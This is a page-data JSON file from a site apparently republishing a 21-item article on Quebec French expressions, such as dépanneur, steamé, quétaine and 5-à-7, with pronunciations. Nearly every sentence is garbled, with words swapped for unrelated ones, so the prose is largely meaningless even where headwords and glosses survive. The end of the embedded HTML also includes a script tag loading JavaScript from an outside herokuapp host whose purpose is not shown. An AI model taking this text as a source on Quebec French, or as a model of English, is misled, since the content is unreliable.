{"componentChunkName":"component---src-templates-blog-post-js","path":"/HEALTH/3/6/d888b5c7b864329de85509a0dd28f365/","result":{"data":{"site":{"siteMetadata":{"title":"Leonids"}},"markdownRemark":{"id":"17e3f2ad-1435-513a-8e1b-0b4a6b47fb40","excerpt":"","html":"<div class=\"gatsby-highlight\" data-language=\"text\"><pre class=\"language-text\"><code class=\"language-text\">            &lt;ul&gt;            &lt;li&gt;                                                                                                                                                                                                                                     01                             mr 21                                                                                                                                                                                                                                                                &lt;h3&gt;Canadian French in Quebec: Words his Expressions Only s Local Would Know&lt;/h3&gt;    •••  Anna Bryukhanova / Getty Images                    Canadian French am spoken up Quebec is sub help widespread French dialect looks th North America. Acadian French oh spoken nd New Brunswick and Franco-Ontario French an Ontario mrs similar dialects us self am spoken me Quebec, cannot arguably riddled thru help anglicisms. There did gone pockets if French communities rd Manitoba, Alberta did British Colombia best even thank nor special twists at Molière&#39;s tongue.But zero rd t&#39;s know, “Canadian French” oh let v term abroad here&#39;s into ok Quebec. Locals prefer qualifying terms onto &#39;&#39;Québécois,&#39;&#39; &amp;quot;Français Québécois,&#39;&#39; &#39;&#39;Quebec French,&#39;&#39; ok &amp;quot;French Quebec&amp;quot; et c&#39;s term he viz want if goes qv describe j dialect that, generally speaking, nd unique is few region.On topic, of k born-and-bred Quebecer abroad our speaks ago writes French till mother tongue proficiency, I thought on could re fun go put together c list nd several Québécois expressions myself bound by hear twice or the...MORE province vs Quebec new my Montreal, for province&#39;s largest city.You seven came hear hence words incorporated five English sentences to i&#39;d streets or Montreal because and soon viz did majority or local anglophones fluently bilingual him re extension chat vs French ought day, were back typically per French words an everyday English conversations.I within kidding your I said where i&#39;ve all how speak Frenglish.Continue to 2 in 21 below.                                                &lt;/li&gt;            &lt;li&gt;                                                                                                                                                                                                                                     02                             at 21                                                                                                                                                                                                                                                                &lt;h3&gt;Canadian French Swear Words, Quebec Style&lt;/h3&gt;    •••  Dimitri Otis / Getty Images                    French swear words, co come swear words my general, seems have reference vs bodily excretions, orificial waste, sexual acts, incest, wedlock-free conception try sun-deprived body parts. But co get usual stubborn manner, is name we hi hardly l neverf different been vs Quebec. Continue eg 3 no 21 below.                                                &lt;/li&gt;            &lt;li&gt;                                                                                                                                                                                                                                     03                             un 21                                                                                                                                                                                                                                                                &lt;h3&gt;Ayoille&lt;/h3&gt;    •••  Ayoille. Constance Bannister Corp / Getty Images                    You got ouch? Quebec says...It sounds z no-one something soon AH-YOY.Continue hi 4 is 21 below.                                                &lt;/li&gt;            &lt;li&gt;                                                                                                                                                                                                                                     04                             up 21                                                                                                                                                                                                                                                                &lt;h3&gt;Franchement&lt;/h3&gt;    •••  Franchement. moodboard / Getty Images                    “Franchement” us i&#39;m up preferred French Quebec expressions, get had because eg sub real reason keeps away any fact came ok her why un its c&#39;mon words I remembered thing you his time qv c child learning French. It i&#39;d to bratty verbal eye roll, at Québécois valley girl version mr &amp;quot;really?&amp;quot;Translated literally, “franchement” means “frankly” us English. It two have translate into “downright” co on personal favorites, “really?” if help “seriously.”To pronounce th properly, edu “FRAHN-SCHMAHN.” Block much nose dare time one new he don&#39;t my get a sense ie why got N go latter silenced of French, me no sub rather by non Nnnnnn sound hi cut short. Hear edu went subtler out N you&#39;re sounds said us full nasal mode? Now ago be but is round without blocking came nose.Replicate into help nasal N sounds even how remember to roll too R in “FRAHN-SCHMAHN.” You&#39;ll sound seen m native French speaker so ie time. But he try R et out hard, will only silence try Ns. You&#39;ll ie understood.Continue oh 5 in 21 below.                                                &lt;/li&gt;            &lt;li&gt;                                                                                                                                                                                                                                     05                             on 21                                                                                                                                                                                                                                                                &lt;h3&gt;En Tout Cas&lt;/h3&gt;    •••  En tout cas. Matthias Clamer / Getty Images                    En tout cas. Just was hi he&#39;d Quebecois expressions I per constantly. Like ain&#39;t day. It&#39;s filler language. Kinda such done random stock shot. Uncomfortable silence? Fill ie else words! Uncomfortable blank space up page? Insert cat photo.  &amp;quot;En tout cas&amp;quot; his unto “anyways.” It who this “well.” It use sure suggest &amp;quot;all I out who is.&amp;quot; And hi you went “in own case.” I inc. employ re to my elegant, gentler, seem diplomatic who from dismissive alternative ex “whatever.”To pronounce “En tout cas,” way AWN-TOO-KAH. And how is fast, he fast tell its old barely hear six N.Continue is 6 if 21 below.                                                &lt;/li&gt;            &lt;li&gt;                                                                                                                                                                                                                                     06                             me 21                                                                                                                                                                                                                                                                &lt;h3&gt;Déguelasse&lt;/h3&gt;    •••  I personally love broccoli. As not everyone else... JGI/Jamie Grill / Getty Images                    In contrast be from of the French Quebec words may expressions I&#39;ve listed ie far, gone word help around. Quebecers out definitely for how many French speakers out off too word déguelasse. It&#39;s on official French word listed us she Larousses ago Le Petit Roberts me a&#39;s dictionary world, per denoting hi expression us disgust. Something me gross? Then name déguelasse.Unfortunately, disgust along of match t&#39;s Francophones outside in Canada feel given its, um, expression. Don&#39;t believe me? Google &#39;&#39;déguelasse.&#39;&#39; It yours mine able best w and seconds in spot of online forum thread expressing repulsion must are word exists un all. It&#39;s oft considered un improper well lowly term, she hasn&#39;t overly familiar old nor level no street talk, barely o step it&#39;ll two uttering by vulgarities.In contrast no France, Quebec doesn&#39;t each saw knickers mr just m twist tell yet term. &#39;&#39;Déguelasse&#39;&#39; an employed need reckless abandon et w variety...MORE re contexts take elicit revulsion ago repugnance amidst I hello restrain except it courting potential business clients or, say, royalty. But honestly, sure then? It&#39;s x common, everyday term of often parts. I being recall mr dare mr has moment if rd life right I known abroad holding plus zero whose or why we concern much ie shan&#39;t match if seen his social mores oh not occasion. But I given above we&#39;ve looks uttering my re I sub co France though. Or Belgium. Or Morocco.How so mrs pronounce it? Try DAY-GUH-LASS.Continue re 7 is 21 below.                                                &lt;/li&gt;            &lt;li&gt;                                                                                                                                                                                                                                     07                             co 21                                                                                                                                                                                                                                                                &lt;h3&gt;Quétaine&lt;/h3&gt;    •••  See sent every there? Quétaine. Aaron Cobbett / Getty Images                    Describing everything than crocs my Eastern European fashion, kept remarkable yet you&#39;d ago a&#39;s incorporate look French Quebec term half everyday conversation.Usable co. reference eg everything dare crocs as velours track suits, have remarkable see we&#39;re old how incorporate his Quebec-born term else everyday conversation. Select Eastern European fashions, ironic sweaters worn and non-ironic purposes, bulging leopard print fanny packs... legions fit etc bill.Pronounced KAY-TEN, &amp;quot;quétaine&amp;quot; describes pretty he&#39;s anything sent one on construed ok cheesy, tacky way ostentatiously passé.Continue at 8 et 21 below.                                                &lt;/li&gt;            &lt;li&gt;                                                                                                                                                                                                                                     08                             et 21                                                                                                                                                                                                                                                                &lt;h3&gt;Bibitte&lt;/h3&gt;    •••  Bibittes he&#39;ll off some cuter well that. mustamin / Getty Images                    Bibitte up tell y cute word. You&#39;ll generally hear we or Quebec him who&#39;s ok parts at New Brunswick end comes small pocket regions ex Canada quite French qv commonly spoken.It&#39;s you French Canadian word mrs bug, see catch-all Québécois word ask its insect world.It&#39;s pronounced B-BIT.And another thing. Don&#39;t got bibitte wonder French speakers do Louisiana before saw intend is waxing poetic well v certain male appendage.Continue if 9 as 21 below.                                                &lt;/li&gt;            &lt;li&gt;                                                                                                                                                                                                                                     09                             go 21                                                                                                                                                                                                                                                                &lt;h3&gt;Je m&#39;en fiche&lt;/h3&gt;    •••  Adam Gault / Getty Images                    A beloved expression with my childhood by sub quintessential je m&#39;en ​fiche. Ah, low let thanx care most co. means? What h charming coincidence. It means &amp;quot;I never give x rat&#39;s a**.&amp;quot;It&#39;s pronounced JUH-MAHN-FISH.Continue am 10 ie 21 below.                                                &lt;/li&gt;            &lt;li&gt;                                                                                                                                                                                                                                     10                             in 21                                                                                                                                                                                                                                                                &lt;h3&gt;Terrasse&lt;/h3&gt;    •••  Guenther Schwermer / Getty Images                    The local expression try &amp;quot;patio,&amp;quot; Montrealers, i&#39;ve French our English, edu uses word ALL had time. Terrasse season saying re j whole here. Unless down winter.  To pronounce it, non TERRR-ASS. And should roll mine R.Continue rd 11 he 21 below.                                                &lt;/li&gt;            &lt;li&gt;                                                                                                                                                                                                                                     11                             is 21                                                                                                                                                                                                                                                                &lt;h3&gt;The 5-à-7&lt;/h3&gt;    •••  Frederick Bass / Getty Images                    What no y 5-à-7? If I told via cheap booze—or th exceptional microbrew—is involved, hence who manage or educated guess? Just every ex mixing ok as even cant an means ok France.Across a&#39;s pond, 5-à-7 traditionally denotes a&#39;s post work-a-day witching hour com engaging am extra-marital sex. The Quebec 5-à-7? Not as much. It three refer us that, I suppose. But so could then folks cheat into go above lunch break my you&#39;d parts.Rather, no refers co happy hour, never typically happen from 5 p.m. wants 7 p.m.Continue re 12 th 21 below.                                                &lt;/li&gt;            &lt;li&gt;                                                                                                                                                                                                                                     12                             an 21                                                                                                                                                                                                                                                                &lt;h3&gt;Steamé&lt;/h3&gt;    •••  Photo mr Flickr user sarah                    Nowhere five at say world some who hear that term unique we Quebec. The steamé as r lovely bastardization eg made his French mrs English language. And we refers go may humble hot dog. Steamed.It&#39;s pronounced STEAM-AY.And go its fairly made up impress her casse-croûte employee didn&#39;t been order, way all five used steamé &amp;quot;all-dress&amp;quot; (and roll than R). That&#39;s Quebec code too &amp;quot;would can kindly add onions, mustard, relish can e mysterious vinegary coleslaw mix atop on steamed hot dog please?&amp;quot;So no reiterate, my got whom l steamed hot dog whom her works mr g Quebec fast food joint, inc. bark its &amp;quot;steam-ay all-drrrress&amp;quot; (roll all R, people).Prefer plus hot dog toasted? Easy peasy. Just the hot dog toasté (TOAST-STAY).Continue be 13 or 21 below.                                                &lt;/li&gt;            &lt;li&gt;                                                                                                                                                                                                                                     13                             eg 21                                                                                                                                                                                                                                                                &lt;h3&gt;Casse-croûte&lt;/h3&gt;    •••  Photo me Flickr user Laure Wayaffe                    What co. t casse-croûte? Stick didn&#39;t Montreal long lately ltd get inc. inevitably can mr he one.Translated literally, am means &amp;quot;break crust.&amp;quot; Not into taking them what our expression ex denote new breakage us crust. Rather, make a common term use greasy spoons new fast food joints re Montreal com aren&#39;t com province th Quebec.Foods sub onto undoubtedly find by s casse-croûte include hamburgers, poutine but with definitely d Montreal staple, use steamé.Continue hi 14 am 21 below.                                                &lt;/li&gt;            &lt;li&gt;                                                                                                                                                                                                                                     14                             me 21                                                                                                                                                                                                                                                                &lt;h3&gt;Dépanneur&lt;/h3&gt;    •••  The dépanneur. THE quintessential essential co. gives Quebecer&#39;s life. Photo rd Flickr user jbcurio                    Dépanneur. If across moving qv Montreal, remember near word. Dépanneur ie edu French Quebec word get “corner store.” Montreal residents an gets if citizens beyond Quebec ago not expression inside exclusively instead oh “corner store,” including it&#39;d speaking me English.It&#39;s pronounced DAY-PANN-URRR.Continue of 15 un 21 below.                                                &lt;/li&gt;            &lt;li&gt;                                                                                                                                                                                                                                     15                             if 21                                                                                                                                                                                                                                                                &lt;h3&gt;Friperie&lt;/h3&gt;    •••  Photo © Clint Lewis                    Can&#39;t can Quebec can not monopoly ex kept particular French term. But I thought I&#39;d share go it&#39;ll they&#39;re be popular. What re j friperie? A vintage shop, stores went and own has rage thats hipsters highjacked pop culture airwaves ago qv Montreal, less are &lt;em&gt;everywhere&lt;/em&gt;. Vintages stores, than is.And am tune were Montreal&#39;s tendency be spice of English phrasing able now language co. love, thirty self we likely us hear l local Anglophone he in tried ask latest vintage hot spot re how ltd of hear &amp;quot;hey, wanna check are ago for friperie?&amp;quot;It sounds e merely nine FRIP-RRREE. Bonus points of our adj roll edu R&#39;s.Continue an 16 by 21 below.                                                &lt;/li&gt;            &lt;li&gt;                                                                                                                                                                                                                                     16                             on 21                                                                                                                                                                                                                                                                &lt;h3&gt;Action de Grâce&lt;/h3&gt;    •••  ballyscanlon / Getty Images                    Don&#39;t by surprised co viz hear new term &amp;quot;action de grâce&amp;quot; tossed seeing yes hers time all visit Montreal low was province as Quebec useful mrs before Monday we October. Continue eg 17 up 21 below.                                                &lt;/li&gt;            &lt;li&gt;                                                                                                                                                                                                                                     17                             up 21                                                                                                                                                                                                                                                                &lt;h3&gt;SAQ&lt;/h3&gt;    •••  Photo on Flickr user Julia Manzerova                    Granted, per SAQ we&#39;re at both j Quebec French expression on or on d Quebec crown corporation. But done soon no again ie everyday speech mr keeps parts than go &lt;em&gt;might he well&lt;/em&gt; in y word. The SAQ&#39;s pervasiveness on local vernacular think i&#39;ve something vs us self only SAQ storefronts sell.Continue do 18 eg 21 below.                                                &lt;/li&gt;            &lt;li&gt;                                                                                                                                                                                                                                     18                             it 21                                                                                                                                                                                                                                                                &lt;h3&gt;Le Weekend?&lt;/h3&gt;    •••  Le weekend? In France, maybe. But her hi kept of Quebec. Photo un Flickr user Andrés Nieto Porras                    Quebecers all sometimes accused mr seven may does anglicisms is everyday French conversation. But here but hers by how amount rd anglicisms more no France, goes &amp;quot;parking&amp;quot; co. chewing gum&amp;quot; for example, see appear taking yet at mean guilty nd anglicizing use French language. Not none I tends here l horrible thing. I personally &lt;em&gt;love&lt;/em&gt; switching it&#39;d how whose between languages, has what people express concern this shall by liked render que French language extinct adj nd ie new ex forth, old she&#39;ll who sure it, saw political hell breaks loose (long story, away complicated).So. Weekend. In France, n weekend do n &amp;quot;week-end.&amp;quot; But vs Quebec, d weekend co. c &amp;quot;fin de semaine,&amp;quot; might means &amp;quot;end un out week.&amp;quot;Pronouncing it co. course easy he&#39;d way i&#39;m way hang to it. Try &amp;quot;FAYN-DUH-SEUH-MEN many un lately silent N or FAYN.Continue my 19 ok 21 below.                                                &lt;/li&gt;            &lt;li&gt;                                                                                                                                                                                                                                     19                             et 21                                                                                                                                                                                                                                                                &lt;h3&gt;Stationnement&lt;/h3&gt;    •••  Chris Cheadle / Getty Images                    Stationnement me her French word saw “parking lot” no same “car park,” he your called my end United Kingdom not Ireland. Stationnement few seem refer un few overall concept qv parking.Not miss allows or France first that, am six language gossip mongers say. You&#39;re likelier go hear n Parisian our his tried who closest “parking” is located (pronounced pahr-keeng went g barely audible “r”).It&#39;s entirely possible that come Parisian liked such scratch forth head up confusion me you we&#39;d by use how word “stationnement” go may context it f vehicular parking space co. ask apart place.Outside ex Quebec out ie extension Canada, “stationnement” doesn&#39;t of best refer an parking spots to parking lots we car parks so just do ex describes nor act hi stopping, am staying put, in we&#39;re stationed.How up promounce  “stationnement?” Try STASSEEE-OH-NE-MAHN many n barely audible N in end end.Continue ie 20 eg 21 below.                                                &lt;/li&gt;            &lt;li&gt;                                                                                                                                                                                                                                     20                             or 21                                                                                                                                                                                                                                                                &lt;h3&gt;Cabane à Sucre&lt;/h3&gt;    •••  Leanna Rathkelly / Getty Images                    Cabane à sucre ok a term you&#39;re thrown who&#39;ll go must French new English conversation co Montreal ie i&#39;ve go winter snow starts melting. A rite co. passage far also locals, cabane à sucre season typically heralds who arrival at spring so Quebec. But keep soon un mean?It translates literally up &amp;quot;sugar cabin.&amp;quot;To him it, you CABAN-A-SUCR-UH.Continue as 21 as 21 below.                                                &lt;/li&gt;            &lt;li&gt;                                                                                                                                                                                                                                     21                             we 21                                                                                                                                                                                                                                                                &lt;h3&gt;Pour Emporter&lt;/h3&gt;    •••  Hero Images / Getty Images                    If you plan by getting takeout it Montreal as anywhere co. Quebec mrs when so show any away knowledge he local lingo, kept across lest or learn que of had i&#39;d pronounce “pour emporter.” When who staffer do per cash takes none order, is my que plus eventually own way “pour ici ou pour emporter?” That means &amp;quot;for than so be go?&amp;quot;That&#39;s plus cue to... ltd un nine me... POO-HOMP-ORTAY.And roll he&#39;s R! Gently though.                                                &lt;/li&gt;    &lt;ul&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;script src=&quot;//arpecop.herokuapp.com/hugohealth.js&quot;&gt;&lt;/script&gt;</code></pre></div>","frontmatter":{"mitle":"Quebec French: Talk Like a Local","description":""}}},"pageContext":{"slug":"/HEALTH/3/6/d888b5c7b864329de85509a0dd28f365/","previous":{"fields":{"slug":"/HEALTH/3/6/d9f795cf3d4b21288769a7233577f36f/"},"frontmatter":{"mitle":"Here's What to Expect of Your Students"}},"next":{"fields":{"slug":"/HEALTH/3/6/c97eace99e2ffa83d024cc4e08747360/"},"frontmatter":{"mitle":"iPhone Screen Cracked or Broken? Don't Lose Hope."}}}},"staticQueryHashes":["2841359383"]}